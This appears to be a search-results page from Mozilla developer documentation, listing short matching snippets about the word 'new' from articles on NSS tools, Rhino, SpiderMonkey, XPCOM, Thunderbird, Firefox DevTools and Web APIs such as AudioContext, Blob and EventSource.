...phpublickey [out] pointer to the location to receive the handle of the new public key.
... phprivatekey [out] pointer to the location to receive the handle of the new private key.
...And 2 more matches
NSS tools : pk12util
pk12util supports two types of databases: the legacy security databases (cert8.db, key3.db, and secmod.db) and new sqlite databases (cert9.db, key4.db, and pkcs11.txt).
... enter new password: re-enter password: enter password for pkcs12 file: pk12util: pkcs12 import successful exporting keys and certificates using the pk12util command to export certificates and keys requires both the name of the certificate to extract from the database (-n) and the pkcs#12-formatted output file to write to.
... in 2009, nss introduced a new set of databases that are sqlite databases rather than berkleydb.
...And 2 more matches
sslintro.html
configuration the configuration portion of an ssl-enabled application typically begins by opening a new socket and then importing the new socket into the ssl environment: pr_newtcpsocket.
... opens a new socket.
...brings an ordinary nspr socket into the ssl library, returning a new nspr socket that can be used to make ssl calls.
...And 2 more matches
NSS tools : pk12util
pk12util supports two types of databases: the legacy security databases (cert8.db, key3.db, and secmod.db) and new sqlite databases (cert9.db, key4.db, and pkcs11.txt).
... enter new password: re-enter password: enter password for pkcs12 file: pk12util: pkcs12 import successful exporting keys and certificates using the pk12util command to export certificates and keys requires both the name of the certificate to extract from the database (-n) and the pkcs#12-formatted output file to write to.
... in 2009, nss introduced a new set of databases that are sqlite databases rather than berkleydb.
...And 2 more matches
Tutorial: Embedding Rhino
for example, we can see how to implement java.lang.runnable in a rhino shell session: js> obj = { run: function() { print("hi"); } } [object object] js> obj.run() hi js> r = new java.lang.runnable(obj); [object object] js> t = new java.lang.thread(r) thread[thread-0,5,main] js> t.start() hi adding java objects the next example is runscript2.
... it's easy to try out new host object classes in the shell using its built-in defineclass function.
...(note that because the java -jar option preempts the rest of the classpath, we can't use that and access the counter class.) $ java -cp "js.jar;examples" org.mozilla.javascript.tools.shell.main js> defineclass("counter") js> c = new counter(7) [object counter] js> c.count 7 js> c.count 8 js> c.count 9 js> c.resetcount() js> c.count 0 counter's constructors the zero-argument constructor is used by rhino runtime to create instances.
...And 2 more matches
Performance Hints
for example, the code var a = new array(); for (var i=0; i < n; i++) a[i] = i; could be sped up by changing the constructor call to new array(n).
...similarly, new array("a", "b", "c") or ["a", "b", "c"] will cause a 3-element array to be allocated to hold the contents of the javascript array.
... eval and new function avoid calling eval when possible.
...And 2 more matches
Rhino scopes and contexts
a top-level scope is created by calling context.initstandardobjects to create all the standard objects: scriptableobject scope = cx.initstandardobjects(); the easiest way to embed rhino is just to create a new scope this way whenever you need one.
... for a more concrete example, let's consider the following script: var g = 7; function f(a) { var v = 8; x = v + a; } f(6); we have a top-level variable g, and the call to f will create a new top-level variable x.
...when none is found, a new property 'x' is created in the top-level scope.
...And 2 more matches
Creating JavaScript jstest reftests
you should contribute directly to test262 in the following scenarios: you are writing tests for the implementation of a new feature or feature proposal for ecmascript.
... if tests for the new feature proposal do not yet exist in test262 (they might!), contributing to test262 will allow all other javascript implementors to use your tests as well.
... writing a new test file please read the high level advice for test writing in the parent article here.
...And 2 more matches
GCIntegration - SpiderMonkey Redirect 1
at the end of the gc, any reachable object must have been newly allocated or else reachable at the beginning, since objects can never go from unreachable to reachable.
...in generational gc, certain newly allocated are moved from one place (a nursery) to another (the tenured space).
...for example, the following code will be incorrect: autorootedobject obj1 = ...; jsobject *obj2 = obj1; // use obj2 if a gc runs in the middle of this code, and if obj1/obj2 is moved, then the obj1 pointer will be updated to point to the new location.
...And 2 more matches
Invariants
but note that a stack frame is not necessarily newer than the next stack frame down, thanks to generators!) an object's scope chain (found by chasing jsobject::fslots[jsslot_parent]) never forms a cycle.
...js_setparent can violate this, if the application is really that dumb, but generally every object is newer than its __parent__.) the tracejit must not trace into a function whose scope chain ends in a different global object.
...even if the function is native, there is serious trouble: js_newobject with null parent argument calculates the parent from cx->fp->scopechain, which can be stale if we're on trace.) the chain of properties starting at any jsshape and chasing jsshape::parent never forms a cycle and does not contain any duplicate jsscopeproperty::slot values other than -1.
...And 2 more matches
JIT Optimization Strategies
if so, it generates a new "stub" (or freestanding piece of jitcode) and changes the inline cache to jump to the stub.
...if so, it generates a new "stub" (or freestanding piece of jitcode) and changes the inline cache to jump to the stub.
...if so, it generates a new "stub" (or freestanding piece of jitcode) and changes the inline cache to jump to the stub.
...And 2 more matches
JSGetObjectOps
jsgetobjectops is the type for jsclass.getobjectops callback syntax typedef jsobjectops * (* jsgetobjectops)(jscontext *cx, jsclass *clasp); name type description cx jscontext * the js context in which the new object is being created.
... cls jsclass * the class of the new object.
... description jsobjectops is used by js_newobject's internals to discover the set of high-level object operations to use for new objects of the given class.
...And 2 more matches
JS_CompileFunction
name const char * name to assign the newly compiled function.
... name is the name to assign to the newly created function.
... if both obj and name are non-null, the new function becomes a method of obj.
...And 2 more matches
JS_DefineElement
, unsigned attrs, jsnative getter = nullptr, jsnative setter = nullptr); /* obsolete since jsapi 32 */ js_defineelement(jscontext *cx, jsobject *obj, uint32_t index, jsval value, jspropertyop getter, jsstrictpropertyop setter, unsigned attrs); name type description cx jscontext * the context in which to create the new property.
... obj js::handleobject or jsobject * the object on which to create the new property.
... setter jsnative or jsstrictpropertyop setproperty method for specifying a new property value.
...And 2 more matches
JS_ExecuteRegExp
execute a new regexp object to given input string.
... description js_executeregexp and js_newregexpobjectnostatics execute the regexp object, reobj, to the specified input string, chars, from *indexp index.
... if test is false, js_executeregexp and js_newregexpobjectnostatics store the match result array to *rval if matches, otherwise stores null to *rval.
...And 2 more matches
JS_PreventExtensions
attempts to forbid the addition of any new properties to an object.
...obsolete since jsapi 39 description all javascript objects recognize the concept of extensibility: whether new properties may be added to the object.
... in some situations, it may be convenient to prohibit new properties.
...And 2 more matches
Parser API
the lexical flag is metadata indicating whether the switch statement contains any unnested let declarations (and therefore introduces a new lexical scope).
... note: the debugger statement is new in ecmascript 5th edition, although spidermonkey has supported it for years.
... interface newexpression <: expression { type: "newexpression"; callee: expression; arguments: [ expression ]; } a new expression.
...And 2 more matches
Feed content access API
e feed and sending it to the parser is done using code similar to this: fetch: function(feedurl) { var httprequest = null; function inforeceived() { var data = httprequest.responsetext; var ioservice = components.classes['@mozilla.org/network/io-service;1'] .getservice(components.interfaces.nsiioservice); var uri = ioservice.newuri(feedurl, null, null); if (data.length) { var parser = components.classes["@mozilla.org/feed-processor;1"] .createinstance(components.interfaces.nsifeedprocessor); var listener = new feedtestresultlistener(); try { parser.listener = listener; parser.parsefromstring(data, uri); } catch(e) {...
... alert("error parsing feed."); } } } httprequest = new xmlhttprequest(); httprequest.open("get", feedurl, true); try { httprequest.onload = inforeceived; httprequest.send(null); } catch(e) { alert(e); } } the nsifeedprocessor interface lets you parse the feed data from several possible sources; in this case, we're loading a document into a string, then parsing that string using its parsefromstring() method.
...that code looks like this: feedtestresultlistener.prototype = { handleresult: function(result) { var feed = result.doc; feed.queryinterface(components.interfaces.nsifeed); // open a new window var win = window.open("", "feedtest_window"); var doc = win.document.wrappedjsobject; doc.open(); // write the html header and page title doc.write("<html><head><title>feed: " + feed.title.text + "</title></head><body>"); doc.write("<h1>" + feed.title.text + "</h1><p>"); var itemarray = feed.items; var numitems = itemarra...
...And 2 more matches
Generic factory
the new nsigenericfactory interface takes this a step further, by providing a single interface that can be reused anytime a simple implementation of nsifactory is needed.
...create a new instance from the repository with a cid of ns_genericfactory_cid, and and iid of ns_igenericfactory_iid.
...xamples class nsicomponent : public nsisupports { public: ns_imethod dosomething() = 0; }; class mycomponent : public nsicomponent { public: mycomponent(); virtual ~mycomponent(); static ns_method create(nsisupports *aouter, refnsiid aiid, void **aresult); ns_impl_isupports ns_imethod dosomething(); }; to create a factory for this class, simply write the following: nsifactory* newcomponentfactory(nsirepository* repository) { nsigenericfactory* factory = null; nscid kgenericfactorycid = ns_genericfactory_cid; nsresult res = repository->createinstance(kgenericfactorycid, null, nsigenericfactory::iid(), &factory); if (res == ns_ok) { factory->setconstructor(&mycomponent::create); } return factory; } this example assumes that the xpcom reposit...
...And 2 more matches
Avoiding leaks in JavaScript XPCOM components
the most common strategies for managing heap allocation are the following: malloc and free (or new and delete) the simplest strategy for heap allocation is that the programmer makes one function call to request memory from the heap and another one to return it.
...in c++, they're new and delete.
... var private_data = 0; var result = new array(); result[0] = function() { return (private_data += 1); } result[1] = function() { return (private_data *= 2); } return result; } // this function returns the string "results: 1, 2, 4, 0, 5, 1, 10." function test() { var fns1 = function_array(); var fns2 = function_array(); return "results: " + fns1[0]() + ", " + // increments first private_data to 1 ...
...And 2 more matches
An Overview of XPCOM
interfaces aren't a new idea in programming.
... factories once code is broken up into components, client code typically uses the new operator to instantiate objects for use: someclass* component = new someclass(); this pattern requires that the client knows something about the component, however-how big it is at the very least.
...in the someclass example, the construction and initialization of someclass, which implements the someinterface abstract class, is contained within the new_someinterface function, which follows the factory design pattern: encapsulating the constructor int new_someinterface(someinterface** ret) { // create the object someclass* out = new someclass(); if (!out) return -1; // init the object if (out->init() == false) { delete out; return -1; } // cast to the interface *ret = static_cast<someinterface*>(out); return 0; } the factory is the class that actually manag...
...And 2 more matches
Component Internals
if there are new components, xpcom registers them: xpcom calls autoregistration start.
... xpcom registers new components.
... when the registration process begins, xpcom broadcasts to all registered observers a notification that says xpcom has begun the registration of new components.
...And 2 more matches
Realloc
« xpcom api reference summary the realloc function reallocates a block of memory to a new size.
...asize [in] specifies the new size in bytes of the block of memory to allocate.
...otherwise, it returns a pointer to the newly allocated buffer.
...And 2 more matches
mozIRegistry
the intent is that such services themselves be built on top of the new moziregistry interface.
... we are proposing a new "moziregistry" xpcom interface that provides the same level of function as is currently provided by the "netscape registry" implemented in libreg.
...a corollary is that the build/install process will require updates to user "registry" to enable new class implementations to be accessible.
...And 2 more matches
mozIStorageService
abackupfilename the filename to give to the new backup file.
... return value an nsifile object representing the newly-created backup file.
... ns_error_out_of_memory allocating a new storage object failed.
...And 2 more matches
mozIStorageStatement
nsigned long getparameterindex(in autf8string aname); autf8string getcolumnname(in unsigned long acolumnindex); unsigned long getcolumnindex(in autf8string aname); void reset(); astring escapestringforlike(in astring avalue, in wchar aescapechar); void bindparameters(in mozistoragebindingparamsarray aparameters); mozistoragebindingparamsarray newbindingparamsarray(); void bindutf8stringparameter(in unsigned long aparamindex, in autf8string avalue); void bindstringparameter(in unsigned long aparamindex, in astring avalue); void binddoubleparameter(in unsigned long aparamindex, in double avalue); void bindint32parameter(in unsigned long aparamindex, in long avalue); void bindint64parameter(in un...
... newbindingparamsarray() creates and returns a new mozistoragebindingparamsarray object that can be used to bind multiple values to parameters in preparation for calling executeasync().
... mozistoragebindingparamsarray newbindingparamsarray(); parameters none.
...And 2 more matches
nsIChromeRegistry
nged in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) implemented by: @mozilla.org/chrome/chrome-registry;1 as a service: var chromeregistry = components.classes["@mozilla.org/chrome/chrome-registry;1"] .getservice(components.interfaces.nsichromeregistry); method overview void canonify(in nsiuri achromeurl); obsolete since gecko 1.8 void checkfornewchrome(); nsiuri convertchromeurl(in nsiuri achromeurl); boolean wrappersenabled(in nsiuri auri); violates the xpcom interface guidelines constants constant value description none 0 partial 1 full 2 methods canonify() obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey ...
... checkfornewchrome() refreshes the chrome list at runtime, looking for new packages and so forth.
... void checkfornewchrome(); parameters none.
...And 2 more matches
nsIDOMElement
); boolean hasattribute(in domstring name); boolean hasattributens(in domstring namespaceuri, in domstring localname); void removeattribute(in domstring name) nsidomattr removeattributenode(in nsidomattr oldattr) void removeattributens(in domstring namespaceuri, in domstring localname) void setattribute(in domstring name, in domstring value) nsidomattr setattributenode(in nsidomattr newattr) nsidomattr setattributenodens(in nsidomattr newattr) void setattributens(in domstring namespaceuri, in domstring qualifiedname, in domstring value) attributes attribute type description tagname domstring the element tag name.
...void setattribute( in domstring name, in domstring value ); parameters name attribute name value attribute new value setattributenode() set an attribute, giving the attribute node.
... nsidomattr setattributenode( in nsidomattr newattr ); parameters newattr attribute node.
...And 2 more matches
nsIDOMParser
creating a domparser to create a domparser object from a web page or a chrome script running in a window, simply use new domparser().
... when a domparser is instantiated by calling new domparser(), it inherits the calling code's principal (except that for chrome callers the principal is set to the null principal) and the documenturi and baseuri of the window the constructor came from.
... if the caller has universalxpconnect privileges, it can pass parameters to new domparser().
...And 2 more matches
nsIDownloadProgressListener
you can get the new state of the download from this object.
... astate the new state of the download.
... astateflags flags indicating the download's new state.
...And 2 more matches
nsIFileProtocolHandler
inherits from: nsiprotocolhandler last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) method overview nsifile getfilefromurlspec(in autf8string url); autf8string geturlspecfromactualfile(in nsifile file); autf8string geturlspecfromdir(in nsifile file); autf8string geturlspecfromfile(in nsifile file); nsiuri newfileuri(in nsifile afile); nsiuri readurlfile(in nsifile file); methods getfilefromurlspec() converts the url string into the corresponding nsifile if possible.
... return value a reference to a new nsifile object.
...newfileuri() this method constructs a new file uri.
...And 2 more matches
nsIFrameScriptLoader
broadcaster (for example, a global frame message manager or a window message manager) then: loadframescript() will load the frame script independently into each applicable frame: every open frame in the given window for the window message manager, or every frame in every window for the global message manager if aallowdelayedload is true, then the script will also be loaded into any applicable new frames opened after the loadframescript() call.
...as the user opens new tabs in this window, copies of the script will be loaded into these new tabs, as well.
...if you want a frame script to do something whenever a new document is loaded, you can listen for the document-element-inserted notification.
...And 2 more matches
nsIMutableArray
if the position is equal to the current length of the array, the new element is appended.
...void replaceelementat( in nsisupports element, in unsigned long index, in boolean weak ); parameters element the new element to insert.
...if the position is equal to the current length of the array, the new element is appended.
...And 2 more matches
nsIPluginHost
void newpluginnativewindow(out nspluginnativewindowptr apluginnativewindow); native code only!
... void createtmpfiletopost( in string apostdataurl, out string atmpfilename ); parameters apostdataurl atmpfilename native code only!deletepluginnativewindow deletes plugin native window object created by newpluginnativewindow().
... native code only!newpluginnativewindow creates a new plugin native window object.
...And 2 more matches
nsISHistoryListener
the listener can prevent any action (except adding a new session history entry) from happening by returning false from the corresponding callback method.
...method overview boolean onhistorygoback(in nsiuri abackuri); boolean onhistorygoforward(in nsiuri aforwarduri); boolean onhistorygotoindex(in long aindex, in nsiuri agotouri); void onhistorynewentry(in nsiuri anewuri); boolean onhistorypurge(in long anumentries); boolean onhistoryreload(in nsiuri areloaduri, in unsigned long areloadflags); methods onhistorygoback() called when navigating to a previous session history entry, for example due to an nsiwebnavigation.goback() call.
...onhistorynewentry() called when a new document is added to session history.
...And 2 more matches
nsIWebBrowserChrome
the browser chrome may be told to set the webbrowser object to a new object by setting this attribute.
... in this case the implementer is responsible for taking the new webbrowser object and doing any necessary initialization or setup as if it had created the webbrowser itself.
... chrome_dependent 268435456 make the new window dependent on the parent.
...And 2 more matches
nsIWindowCreator
embedding/base/nsiwindowcreator.idlscriptable a callback interface used by gecko to create new browser windows.
... inherits from: nsisupports last changed in gecko 0.9.6 method overview nsiwebbrowserchrome createchromewindow(in nsiwebbrowserchrome parent, in pruint32 chromeflags); methods createchromewindow() create a new window.
... gecko will/may call this method, if made available to it, to create new windows.
...And 2 more matches
nsIWindowMediator
important: this will attach the functionality to future opened windows, so if you copy paste this code to scratchpad, then after running this script, you need to open a new window by pressing ctrl + n and then in the new window, selecting tabs will fire the alert.
...the implementation will reposition the window as necessary to match its new z level.
... azlevel the window's new z level.
...And 2 more matches
nsIWorkerFactory
dom/interfaces/threads/nsidomworkers.idlscriptable creates and returns a new worker 1.0 66 introduced gecko 2.0 obsolete gecko 8.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) this interface was removed in gecko 8.0.
...instead, you can just do new worker or new chromeworker.
...to create an instance, use: var workerfactory = components.classes['@mozilla.org/threads/workerfactory;1'] .createinstance(components.interfaces.nsiworkerfactory); method overview nsiworker newchromeworker(in domstring ascripturl); methods newchromeworker() returns a new chromeworker that will run a specified script.
...And 2 more matches
Address book sync client design
add // if it's new, mod if it's been modified, // ret if it was already sent to the server // but an error occured, etc.
... if the crc has changed, mark the entry modified, if // it's a new record, add an entry and mark it new, if a record was deleted, // mark the entry deleted, etc.
... mark any modified or new record with the ret (retry) // flag.
...And 2 more matches
Gloda examples
a) show all messages in a conversation regardless of the folder in which they are stored, b) search messages by subject assuming that you have a message (glodamessage) in the conversation already, this is straight forward using glodamessage.conversation.getmessagescollection() alistener = { /* called when new items are returned by the database query or freshly indexed */ onitemsadded: function _onitemsadded(aitems, acollection) { }, /* called when items that are already in our collection get re-indexed */ onitemsmodified: function _onitemsmodified(aitems, acollection) { }, /* called when items that are in our collection are purged from the system */ onitemsremoved: function...
... query=gloda.newquery(gloda.noun_conversation); query.subjectmatches("gloda makes searching easy"); query.getcollection(alistener) search messages by tags searches for all messages having any (or several) of all tags defined in tb let query = gloda.newquery(gloda.noun_message); let tagarray = mailservices.tags.getalltags({}); query.tags(...tagarray); let collection = query.getcollection(mylistener);...
... search messages by daterange searches for all messages within a date range id_q=gloda.newquery(gloda.noun_message); // define a date range form yesterday to now id_q.daterange([new date() - 86400000, new date()]); var mylistener = { /* called when new items are returned by the database query or freshly indexed */ onitemsadded: function _onitemsadded(aitems, acollection) { }, /* called when items that are already in our collection get re-indexed */ onitemsmodified: function _onitemsmodified(aitems, acollection) { }, /* called when items that are in our collection are purged from the system */ onitemsremoved: function _onitemsremoved(aitems, acollection) { }, /* called when our database query completes */ onquerycompleted: function _onquerycomp...
...And 2 more matches
customDBHeaders Preference
the mailnews.customdbheaders preference will be our focus.
... some of the functionality described here is really new, so please try to be understanding if some of these things change tomorrow (or have changed already).
...in addition to the preference outlined in setting up extension development environment, you'll want to add the following preferences: // this allows you to add extra headers while composing messages user_pref("mail.compose.other.header", "x-superfluous,x-other,x-whatever"); // this enables the preservation of custom headers as incoming mail is processed user_pref( "mailnews.customdbheaders", "x-superfluous,x-other"); important: please pay careful attention to the case of the mailnews.customdbheaders preference.
...And 2 more matches
ArrayType
arraytype represents c arrays syntax returns a new ctype representing an array data type.
... return value a ctype represents the newly declared array type.
... return value a cdata representing the newly allocated array.
...And 2 more matches
PointerType
syntax returns a new ctype object describing a new pointer data type.
...this can be any ctype object to declare the new type as a pointer to that type.
... return value a ctype object describing the newly created data type.
...And 2 more matches
StructType
syntax returns a ctype object describing a new structure data type.
... return value a ctype object describing the newly created struct data type.
... return value a cdata representing the newly allocated struct.
...And 2 more matches
UInt64
syntax creates and returns a new 64-bit unsigned integer.
... uint64 uint64( value ); parameters value the value to assign the new 64-bit unsigned integer object.
... return value a new object representing the specified value.
...And 2 more matches
Debugger.Script - Firefox Developer Tools
the debugger interface constructs debugger.script objects as scripts of debuggee code are uncovered by the debugger: via the onnewscript handler method; via debugger.frame’s script properties; via the functionscript method of debugger.object instances; and so on.
... currently only entire modules evaluated via new webassembly.module are represented.
... debugger.script objects for webassembly are uncovered via onnewscript when a new webassembly module is instantiated and via the findscripts method on debugger instances.
...And 2 more matches
Tutorial: Show Allocations Per Call Path - Firefox Developer Tools
window.demotrackallocations = function() { dbg = new debugger; // this makes hacking on the demo *much* more // pleasant.
... var counts = new map; for (let site of log) { // this is a kludge, necessary for now.
... the saved stacks // are new, and firefox doesn't yet understand that they // are safe for chrome code to use, so we must tell it // so explicitly.
...And 2 more matches
Index - Firefox Developer Tools
18 debugger when called as a constructor, the debugger object creates a new debugger instance.
... 28 deprecated tools deprecated, tools over the course of devtools development, we have added several experimental panels to try out new ideas.
... 42 dominators view starting in firefox 46, the memory tool includes a new view called the dominators view.
...And 2 more matches
Waterfall - Firefox Developer Tools
new in firefox 46: if the gc event was caused by allocation pressure, a link appears, labeled "show allocation triggers".
... stack at end (new in firefox 41).
...in particular, if you animate an element using the transform property, the browser will use a separate layer for the transformed element, and doesn't even have to repaint when the element is moved: the new position of the element is handled in composition.
...And 2 more matches
AudioContext() - Web APIs
the audiocontext() constructor creates a new audiocontext object which represents an audio-processing graph, built from audio modules linked together, each represented by an audionode.
... syntax var audioctx = new audiocontext(); var audioctx = new audiocontext(options); parameters options optional an object based on the audiocontextoptions dictionary that contains zero or more optional properties to configure the new context.
... return value the newly constructed audiocontext instance.
...And 2 more matches
AudioContext.createMediaStreamDestination() - Web APIs
the createmediastreamdestination() method of the audiocontext interface is used to create a new mediastreamaudiodestinationnode object associated with a webrtc mediastream representing an audio stream, which may be stored in a local file or sent to another computer.
... syntax var audioctx = new audiocontext(); var destination = audioctx.createmediastreamdestination(); returns a mediastreamaudiodestinationnode.
...after that, the stop event fires, a new blob is made of type opus — which contains the data in the chunks array, and a new window (tab) is then opened that points to a url created from the blob.
...And 2 more matches
AudioListener.dopplerFactor - Web APIs
syntax var audioctx = new audiocontext(); var mylistener = audioctx.listener; mylistener.dopplerfactor = 1; value a double indicating the doppler effect's pitch shift value.
...in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... note how we have used some feature detection to either give the browser the newer property values (like audiolistener.forwardx) for setting position, etc.
...And 2 more matches
AudioListener.forwardX - Web APIs
syntax var audioctx = new audiocontext(); var mylistener = audioctx.listener; mylistener.forwardx.value = 0; value an audioparam.
...in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... note how we have used some feature detection to either give the browser the newer property values (like audiolistener.forwardx) for setting position, etc.
...And 2 more matches
AudioListener.forwardY - Web APIs
syntax var audioctx = new audiocontext(); var mylistener = audioctx.listener; mylistener.forwardy.value = 0; value an audioparam.
...in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... note how we have used some feature detection to either give the browser the newer property values (like audiolistener.forwardx) for setting position, etc.
...And 2 more matches
AudioListener.forwardZ - Web APIs
syntax var audioctx = new audiocontext(); var mylistener = audioctx.listener; mylistener.forwardz.value = 0; value an audioparam.
...in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... note how we have used some feature detection to either give the browser the newer property values (like audiolistener.forwardx) for setting position, etc.
...And 2 more matches
AudioListener.positionX - Web APIs
syntax var audioctx = new audiocontext(); var mylistener = audioctx.listener; mylistener.positionx.value = 1; value an audioparam.
...in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... note how we have used some feature detection to either give the browser the newer property values (like audiolistener.forwardx) for setting position, etc.
...And 2 more matches
AudioListener.positionY - Web APIs
syntax var audioctx = new audiocontext(); var mylistener = audioctx.listener; mylistener.positiony.value = 1; value an audioparam.
...in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... note how we have used some feature detection to either give the browser the newer property values (like audiolistener.forwardx) for setting position, etc.
...And 2 more matches
AudioListener.positionZ - Web APIs
syntax var audioctx = new audiocontext(); var mylistener = audioctx.listener; mylistener.positionz.value = 1; value an audioparam.
...in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... note how we have used some feature detection to either give the browser the newer property values (like audiolistener.forwardx) for setting position, etc.
...And 2 more matches
AudioListener.setOrientation() - Web APIs
syntax var audioctx = new audiocontext(); var mylistener = audioctx.listener; mylistener.setorientation(0,0,-1,0,1,0); returns void.
...in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... note how we have used some feature detection to either give the browser the newer property values (like audiolistener.forwardx) for setting position, etc.
...And 2 more matches
AudioListener.setPosition() - Web APIs
syntax var audioctx = new audiocontext(); var mylistener = audioctx.listener; mylistener.setposition(1,1,1); returns void.
...in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... note how we have used some feature detection to either give the browser the newer property values (like audiolistener.forwardx) for setting position, etc.
...And 2 more matches
AudioListener.speedOfSound - Web APIs
syntax var audioctx = new audiocontext(); var mylistener = audioctx.listener; mylistener.speedofsound = 343.3; value a double.
...in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... note how we have used some feature detection to either give the browser the newer property values (like audiolistener.forwardx) for setting position, etc.
...And 2 more matches
AudioListener.upX - Web APIs
WebAPIAudioListenerupX
syntax var audioctx = new audiocontext(); var mylistener = audioctx.listener; mylistener.upx.value = 0; value an audioparam.
...in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... note how we have used some feature detection to either give the browser the newer property values (like audiolistener.forwardx) for setting position, etc.
...And 2 more matches
AudioListener.upY - Web APIs
WebAPIAudioListenerupY
syntax var audioctx = new audiocontext(); var mylistener = audioctx.listener; mylistener.upy.value = 0; value an audioparam.
...in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... note how we have used some feature detection to either give the browser the newer property values (like audiolistener.forwardx) for setting position, etc.
...And 2 more matches
AudioListener.upZ - Web APIs
WebAPIAudioListenerupZ
syntax var audioctx = new audiocontext(); var mylistener = audioctx.listener; mylistener.upz.value = 0; value an audioparam.
...in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... note how we have used some feature detection to either give the browser the newer property values (like audiolistener.forwardx) for setting position, etc.
...And 2 more matches
AudioTrackList.onaddtrack - Web APIs
the audiotracklist property onaddtrack is an event handler which is called when the addtrack event occurs, indicating that a new audio track has been added to the media element whose audio tracks the audiotracklist represents.
... the event is passed into the event handler in the form of a trackevent object, whose track property identifies the newly-added track.
... usage notes the addtrack event is called whenever a new track is added to the media element whose audio tracks are represented by the audiotracklist object.
...And 2 more matches
BaseAudioContext.createPanner() - Web APIs
the createpanner() method of the baseaudiocontext interface is used to create a new pannernode, which is used to spatialize an incoming audio stream in 3d space.
...in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... note how we have used some feature detection to either give the browser the newer property values (like audiolistener.forwardx) for setting position, etc.
...And 2 more matches
BaseAudioContext.decodeAudioData() - Web APIs
syntax older callback syntax: baseaudiocontext.decodeaudiodata(arraybuffer, successcallback, errorcallback); newer promise-based syntax: promise<decodeddata> baseaudiocontext.decodeaudiodata(arraybuffer); parameters arraybuffer an arraybuffer containing the audio data to be decoded, usually grabbed from xmlhttprequest, windoworworkerglobalscope.fetch() or filereader.
... example in this section we will first cover the older callback-based system and then the newer promise-based syntax.
... note: you can run the example live (or view the source.) // define variables var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var source; var pre = document.queryselector('pre'); var myscript = document.queryselector('script'); var play = document.queryselector('.play'); var stop = document.queryselector('.stop'); // use xhr to load an audio track, and // decodeaudiodata to decode it and stick it in a buffer.
...And 2 more matches
Blob.slice() - Web APIs
WebAPIBlobslice
the blob interface's slice() method creates and returns a new blob object which contains data from a subset of the blob on which it's called.
... syntax var newblob = blob.slice(start, end, contenttype); parameters start optional an index into the blob indicating the first byte to include in the new blob.
... end optional an index into the blob indicating the first byte that will *not* be included in the new blob (i.e.
...And 2 more matches
Compositing example - Web APIs
'destination-over','destination-in','destination-out','destination-atop', 'lighter', 'copy','xor', 'multiply', 'screen', 'overlay', 'darken', 'lighten', 'color-dodge', 'color-burn', 'hard-light', 'soft-light', 'difference', 'exclusion', 'hue', 'saturation', 'color', 'luminosity' ].reverse(); var gcotext = [ 'this is the default setting and draws new shapes on top of the existing canvas content.', 'the new shape is drawn only where both the new shape and the destination canvas overlap.
... everything else is made transparent.', 'the new shape is drawn where it doesn\'t overlap the existing canvas content.', 'the new shape is only drawn where it overlaps the existing canvas content.', 'new shapes are drawn behind the existing canvas content.', 'the existing canvas content is kept where both the new shape and existing canvas content overlap.
... everything else is made transparent.', 'the existing content is kept where it doesn\'t overlap the new shape.', 'the existing canvas is only kept where it overlaps the new shape.
...And 2 more matches
CustomElementRegistry.define() - Web APIs
the define() method of the customelementregistry interface defines a new custom element.
... syntax customelements.define(name, constructor, options); parameters name name for the new custom element.
... constructor constructor for the new custom element.
...And 2 more matches
Document.createElementNS() - Web APIs
the new element will be given an is attribute whose value is the custom element's tag name.
... return value the new element.
... important namespace uris html http://www.w3.org/1999/xhtml svg http://www.w3.org/2000/svg mathml http://www.w3.org/1998/math/mathml xul http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul xbl http://www.mozilla.org/xbl example this creates a new <div> element in the xhtml namespace and appends it to the vbox element.
...And 2 more matches
Introduction to the DOM - Web APIs
this is expanded upon as needed by other apis that add new features and capabilities to the dom.
...your dom programming may be something as simple as the following, which displays an alert message by using the alert() function from the window object, or it may use more sophisticated dom methods to actually create new content, as in the longer example below.
...this function creates a new h1 element, adds text to that element, and then adds the h1 to the tree for this document: <html> <head> <script> // run this function when the document is loaded window.onload = function() { // create a couple of elements in an otherwise empty html page const heading = document.createelement("h1"); const heading_text = document.createtextnode("big head!"); heading.appendchild(heading_text); document.body.appendchild(heading); } </script> </head> <body> </body> </html> fundamental d...
...And 2 more matches
EventSource - Web APIs
for example, eventsource is a useful approach for handling things like social media status updates, news feeds, or delivering data into a client-side storage mechanism like indexeddb or web storage.
... constructor eventsource() creates a new eventsource to handle receiving server-sent events from a specified url, optionally in credentials mode.
... var evtsource = new eventsource('sse.php'); var eventlist = document.queryselector('ul'); evtsource.onmessage = function(e) { var newelement = document.createelement("li"); newelement.textcontent = "message: " + e.data; eventlist.appendchild(newelement); } each received event causes our eventsource object's onmessage event handler to be run.
...And 2 more matches
FileSystemDirectoryReader.readEntries() - Web APIs
.appendchild(elem); if (item.isdirectory) { let directoryreader = item.createreader(); let directorycontainer = document.createelement("ul"); container.appendchild(directorycontainer); directoryreader.readentries(function(entries) { entries.foreach(function(entry) { scanfiles(entry, directorycontainer); }); }); } } scanfiles() begins by creating a new <li> element to represent the item being scanned, inserts the name of the item into it as its text content, and then appends it to the container.
